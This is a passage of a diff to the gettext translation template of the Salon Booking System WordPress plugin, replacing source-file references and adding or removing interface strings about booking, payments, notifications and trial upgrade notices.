System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:214\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:214\n+msgid \"Offset Timing\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:55\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:94\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:62\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:90\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:122\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:61\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:53\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:55\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:94\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:62\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:90\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:122\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:61\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:53\n+msgid \"Offset.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:629\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:629\n+msgid \"OK! the date and time slot you selected is available\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fattendant.php:89\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant.php:89\n+msgid \"Ok, I need this.\"\n msgstr \"\"\n \n-#: views\u002Fsms\u002Fremind.php:48, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsms\u002Fremind.php:48, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fremind.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsms\u002Fremind.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsms\u002Fremind.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsms\u002Fremind.php:48\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments.php:81\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:81\n+msgid \"OK, I need this..\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsms\u002Fremind.php:48\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fremind.php:48\n msgid \"on\"\n msgstr \"\"\n \n-#: views\u002Fsms\u002Fremind.php:50, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsms\u002Fremind.php:50, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fremind.php:50, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsms\u002Fremind.php:50, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsms\u002Fremind.php:50, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsms\u002Fremind.php:50\n-msgid \"| Booking ID \"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments.php:25\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:67\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:25\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:67\n+msgid \"on left side\"\n msgstr \"\"\n \n-#: views\u002Fsms\u002Fremind.php:51, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsms\u002Fremind.php:51, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fremind.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsms\u002Fremind.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsms\u002Fremind.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsms\u002Fremind.php:51\n-msgid \"| Timing: \"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments.php:25\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:67\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:25\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:67\n+msgid \"on right side\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:81\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:81\n+msgid \"On these specific date period\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:82\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:82\n+msgid \"On these specific days of the week\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_rules.php:8\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_booking.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_tab_attendant_rules.php:8\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_rules.php:8\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_tab_attendant_rules.php:8\n+msgid \"On-line booking available days\"\n msgstr \"\"\n \n-#: views\u002Fsms\u002Fverify.php:15, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsms\u002Fverify.php:15, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fverify.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsms\u002Fverify.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsms\u002Fverify.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsms\u002Fverify.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Flicense\u002Fshortcode.php:21\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Ftrial\u002Fshortcode.php:19\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_date.php:12\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_services.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Flicense\u002Fshortcode.php:21\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Ftrial\u002Fshortcode.php:19\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_date.php:12\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_services.php:13\n+msgid \"On-line booking is disabled\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:108\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:108\n+msgid \"One or more services with the name\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:28\n+msgid \"Onesignal notification will be sent to a staff member\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:11\n+msgid \"Onesignal Notifications service\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_status.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_status.php:15\n+msgid \"Online Booking Status\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:7\n+msgid \"Online payment\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:40\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:40\n+msgid \"Online payment OFF\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:39\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:39\n+msgid \"Online payment ON\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:34\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:34\n+msgid \"Online payment Status\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:27\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:27\n msgid \"\"\n-\"Hi, \\n\"\n-\"this is your verification code on {salon}: \\n\"\n-\"{code} \\n\"\n-\"Thank you very much. \\n\"\n-\"{salon} \\n\"\n-\"{address} \\n\"\n-\"{phone} \\n\"\n-\"{email}\"\n+\"Online payment\u003Cspan>Allow users to pay in advance using one of the available \"\n+\"payments methods.\u003C\u002Fspan>\"\n msgstr \"\"\n \n-#: views\u002Ftrial\u002Fadmin_end.php:3, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Ftrial\u002Fadmin_end.php:3, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Ftrial\u002Fadmin_end.php:3, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Ftrial\u002Fadmin_end.php:3, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Ftrial\u002Fadmin_end.php:3, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Ftrial\u002Fadmin_end.php:3\n-msgid \"Your free version is expired. \u003Ca href=\\\"http:\u002F\u002Fsalonbookingsystem.com\u002Fsalon-booking-plugin-pricing\u002F\\\" target=\\\"blank\\\">Please upgrade Salon Booking to a PRO version\u003C\u002Fa>.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:64\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:64\n+msgid \"Online payments\"\n msgstr \"\"\n \n-#: views\u002Ftrial\u002Fadmin_end.php:5, views\u002Ftrial\u002Fadmin_near.php:5, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Ftrial\u002Fadmin_end.php:5, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Ftrial\u002Fadmin_near.php:5, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Ftrial\u002Fadmin_end.php:5, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Ftrial\u002Fadmin_near.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Ftrial\u002Fadmin_end.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Ftrial\u002Fadmin_near.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Ftrial\u002Fadmin_end.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Ftrial\u002Fadmin_near.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Ftrial\u002Fadmin_end.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Ftrial\u002Fadmin_near.php:5\n-msgid \"\u003Cstrong>Do you want a 20% discount ? \u003Ca href=\\\"http:\u002F\u002Fsalonbookingsystem.com\u002Finvite-friends-get-20-discount-first-purchase\u002F\\\" target=\\\"blank\\\">INVITE YOUR FRIENDS!\u003C\u002Fa>\u003C\u002Fstrong>\u003C\u002Fp>\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_documentation.php:72\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:72\n+msgid \"Only admin will see it.\"\n msgstr \"\"\n \n-#: views\u002Ftrial\u002Fadmin_near.php:3, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Ftrial\u002Fadmin_near.php:3, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Ftrial\u002Fadmin_near.php:3, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Ftrial\u002Fadmin_near.php:3, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Ftrial\u002Fadmin_near.php:3, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Ftrial\u002Fadmin_near.php:3\n-msgid \"You are going to reach the bookings limit for the Salon Booking free version. \u003Ca href=\\\"http:\u002F\u002Fsalonbookingsystem.com\u002Fsalon-booking-plugin-pricing\u002F\\\" target=\\\"blank\\\">Please upgrade Salon Booking to a PRO version\u003C\u002Fa>.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:200\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:200\n+msgid \"Only from back-end\"\n msgstr \"\"\n \n-#: src\u002FSalon\u002FUtil\u002FTime.php:253, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSalon\u002FUtil\u002FTime.php:253, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSalon\u002FUtil\u002FTime.php:253, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSalon\u002FUtil\u002FTime.php:253, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSalon\u002FUtil\u002FTime.php:253, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSalon\u002FUtil\u002FTime.php:253\n-msgid \"Check the duration time.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:198\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:198\n+msgid \"Open customer file\"\n msgstr \"\"\n \n-#: src\u002FSalon\u002FUtil\u002FTime.php:256, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSalon\u002FUtil\u002FTime.php:256, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSalon\u002FUtil\u002FTime.php:256, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSalon\u002FUtil\u002FTime.php:256, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSalon\u002FUtil\u002FTime.php:256, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSalon\u002FUtil\u002FTime.php:256\n-msgid \"Duration time equale:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:118\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:118\n+msgid \"Open customer profile\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:33, src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:126, src\u002FSLB_API\u002FController\u002FBookings_Controller.php:70, src\u002FSLB_API\u002FController\u002FServices_Controller.php:40, src\u002FSLB_API\u002FController\u002FServices_Controller.php:133, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:68, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:94, src\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:31, 